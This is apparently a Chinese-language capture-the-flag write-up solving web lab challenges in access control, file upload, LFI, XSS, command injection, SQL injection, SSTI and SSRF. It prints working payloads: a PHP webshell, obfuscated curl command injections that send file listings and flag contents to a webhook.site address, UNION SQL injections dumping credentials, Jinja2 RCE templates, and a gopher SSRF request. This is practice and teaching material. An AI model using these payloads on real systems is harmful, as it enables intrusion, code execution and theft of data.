題解的最多 writeup寫得最累
01 - Broken Access Control
- BAC01
- 測試正常輸入
關鍵字 user permission
path /user - 資訊蒐集,cookie、封包heaer、頁原原始碼… => 無線索
- 試著往簡單的方向想 => 回想 1. => 有 user permission、path… 那應該有 ==admin== permission、path ?!
- 測試path /admin
- 測試正常輸入
- BAC02
- 注意到Admin Panel => 很顯然這是目標
比起上題,多了 Product List => 可能有線索 - 檢查 Product List 頁面原始碼
少了goToProductPage(4) ? - 嘗試到ProductPage(4)
隨便點進一個
改成 /product/4
點 Buy
- 注意到Admin Panel => 很顯然這是目標
- BAC03
- 做基本資訊蒐集
檢查頁面原始碼、cookie、封包header、正常輸入… => 無線索 => 跟第一題好像 - 試 /admin => 沒像第一題到 /admin 而是 /error
中間發生什麼? - 開burp suite重複同樣操作
一樣
中間有 /admin !
- 查看 /admin
- 做基本資訊蒐集
02 - File Upload
- FIL01
- 寫最簡單又不會被windows當作惡意檔案刪掉的 websell
1
2
3
4<?php
$a=$_GET['cmd'];
system($a.'; echo meow');
?> - 選擇 websell.php
再上傳
- 上傳成功
不確有沒有上傳成功 => 加參數
RCE !
- 寫最簡單又不會被windows當作惡意檔案刪掉的 websell
- FIL02
- 上傳上題的websell => 有 waf
- 在 burp suite 上傳,攔截封包
送到 reapeter
- 修改封包
bypass filename
猜測要有png
php 放後面使檔案可被當php執行
改成bypass Content-Type
改成像正常圖片
- 送出修改後封包
RCE !
- 上傳上題的websell => 有 waf
- FIL03
- 在 burp suite 做跟上一題同樣步驟 => 上傳失敗
- bypass file header
在 burp suite 上傳一張正常的圖片,攔截封包
保留圖片頭尾,在中間塞webshell
上傳失敗
- bypass filename
猜測可能不能出現php,png被允許
改成 png.phar
因為phar 相當於php
03 - Local File Inclusion
- LFI01
- 瀏覽網頁看到圖片
- 猜測static/bitcoinCat.jpg會被include
嘗試include index.php
- base64 decode 看 index.php source code
- 嘗試登入
- 瀏覽網頁看到圖片
- LFI02
- 看到上傳功能,嘗試上傳沒有bypass waf 的websell
- 猜測是要include剛上傳的websell
看到上傳頁面有
猜測 form.html 會被 include
RCE !
- 看到上傳功能,嘗試上傳沒有bypass waf 的websell
- LFI03
- 跟LFI01一樣有圖片,做一樣的嘗試
但不成功
- 回登入頁面檢視網頁原始碼
- 第三題,總該RCE了吧?
githubg上有現成的超長RCE payload
複製雙引號內的內容
貼上
RCE !
- 跟LFI01一樣有圖片,做一樣的嘗試
04 - Cross-Site Scripting
- XSS01
- 從網也原始碼得知要alert const FLAG
- 發現會輸出URL參數
- XSS
- 從網也原始碼得知要alert const FLAG
05 - Command Injection
- CMD01
測試正常的輸入
做最簡單的cmd injection
RCE !
- CMD02
- 嘗試跟上一題一樣的
單獨測試空格、分號、ls => 會過濾 ls - bypass 特定指令
在指令中間塞 \ 仍可執行
RCE !
- 嘗試跟上一題一樣的
- CMD03
- 嘗試
單獨測試空格、分號、ls => 會過濾空格、分號 - bypass 分號
利用 “$()”
RCE ! - bypass 空格
用 ${IFS} 代替空格
- 嘗試
- CMD04
- 測試正常輸入
只會回傳有沒有執行成功 => 試圖將執行結果往外傳 - 測試黑名單
單獨測試空格、分號、ls、$、雙引號
=> 過濾空格、分號、ls - 開 webhook.site 準備接收封包
- 利用 curl 將結果送到 webkook ,並bypass 分號、空格
1
8.8.8.8"$(cu\rl${IFS}https://webhook.site/d53be48c-03c9-4b61-bb18-63d3ce9afffd${IFS}--data${IFS}"$(l\s)")"
RCE ! - 取得flag
1
8.8.8.8"$(cu\rl${IFS}https://webhook.site/d53be48c-03c9-4b61-bb18-63d3ce9afffd${IFS}--data${IFS}"$(c\at${IFS}ERRORCMDi_FLAG)")"
- 測試正常輸入
- CMD05
- 用上一題payload試
1
8.8.8.8"$(cu\rl${IFS}https://webhook.site/d53be48c-03c9-4b61-bb18-63d3ce9afffd${IFS}--data${IFS}"$(l\s)")"
RCE ! - 取得flag
1
8.8.8.8"$(cu\rl${IFS}https://webhook.site/d53be48c-03c9-4b61-bb18-63d3ce9afffd${IFS}--data${IFS}"$(c\at${IFS}BLindCMDiFLAG)")"
- 用上一題payload試
- [Bonus] CMD06
- 檢查黑名單
單獨輸入空白、$()、``、””、ls
=> 過濾 空白、””、ls - bypass “”
嘗試用``代替”$()”發現好像只能輸出一行
輸出一行那輸出flag好像也夠了?flag的檔名先猜個 F*
- 檢查黑名單
06 - SQL Injection
- SQL01
- 帳號填 admin’ or 1=1 的變化多試幾個,密碼隨意填
- 試出來了
- SQL02
對 因為要當好駭客 不當腳本小子 我要來手戳- 確定可以SQLi
- union base
1
a' union select schema_name from `information_schema`.`schemata` -- -
- 試幾個欄位
1
2
3
4a' union select 1, schema_name from `information_schema`.`schemata` -- -
1222 (21000): The used SELECT statements have a different number of columns
a' union select 1, 2, schema_name from `information_schema`.`schemata` -- -
1222 (21000): The used SELECT statements have a different number of columns - 取得 DB name
1
a' union select 1, 2, 3, schema_name from `information_schema`.`schemata` -- -
應該在 ApexPredators DB 找ApexPredators DataCenter Portal 的管理者帳密 - 取得table name
1
a' union select 1, 2, 3, table_name from `information_schema`.`tables` where table_schema='ApexPredators' -- -
- 取得 column name
1
a' union select 1, 2, 3, column_name from `information_schema`.`columns` where table_name='users' -- -
- 取得 data
1
a' union select 1, username, password, isAdmin from `ApexPredators`.`users` -- -
找到admin - 登入admin
- 確定可以SQLi
- SQL03
- 嘗試黑名單 => 過濾 空格、– -
- bypass 空格 => 空格一律用/**/代替
- bypass – - => 註解用 # 代替
- 跟上題一樣登入步驟
1
a'/**/union/**/select/**/1,/**/2,/**/3,/**/schema_name/**/from/**/`information_schema`.`schemata`/**/#
1
a'/**/union/**/select/**/1,/**/2,/**/3,/**/table_name/**/from/**/`information_schema`.`tables`/**/where/**/table_schema='ApexPredators'/**/#
1
a'/**/union/**/select/**/1,/**/2,/**/3,/**/column_name/**/from/**/`information_schema`.`columns`/**/where/**/table_name='users'/**/#
1
a'/**/union/**/select/**/1,/**/username,/**/password,/**/isAdmin/**/from/**/`ApexPredators`.`users`/**/#
- 登入admin
07 - Server-Side Template Injection
STI01
- 確認模板
=> 可以猜 Jinja2 (Python) - 用hacktricks的payload
1
{{ cycler.__init__.__globals__.os.popen('id').read() }}
RCE !
- 確認模板
STI02
嘗試貼上題的payload
RCE !
取得flag
STI03
- 檢查黑名單 => 過濾
{{ }}
、[]
- 用hacktricks的payload
1
{%with a=request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls')|attr('read')()%}{%print(a)%}{%endwith%}
RCE !1
{%with a=request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('cat FLAG')|attr('read')()%}{%print(a)%}{%endwith%}
- 檢查黑名單 => 過濾
08 - Server-Side Request Forgery
- SRF01
- 用 file:// 讀取 /app/FLAG
- 看圖片原始碼
- base64 decode
- 用 file:// 讀取 /app/FLAG
- SRF02
- 注意到 ADMIN PANEL 在 /local
- 嘗試最基本payload
- base64 decode
- SRF03
- 測試黑名單 => 過濾 localhost、127.0.0.1
- bypass
將127.0.0.1轉成十六進制
- base64 decode
- SRF04
- 測試黑名單 => localhost、127.0.0.1
- bypass => gopher://0
- 製作gopher POST封包 =>
1
2
3
4
5
6
7gopher://0:80_
POST%20/local%20HTTP/1.1%0D%0A
Host:%20127.0.0.1%0D%0A
Content-Type:%20application/x-www-form-urlencoded%0d%0A
Content-Length:%2032%0d%0A
%0D%0A
username=admin&password=password1
gopher://0:80/_POST%20/local%20HTTP/1.1%0D%0AHost:127.0.0.1%0D%0AContent-Type:%20application/x-www-form-urlencoded%0d%0AContent-Length:%2032%0d%0A%0D%0Ausername=admin&password=password
- 送出封包
- 測試黑名單 => localhost、127.0.0.1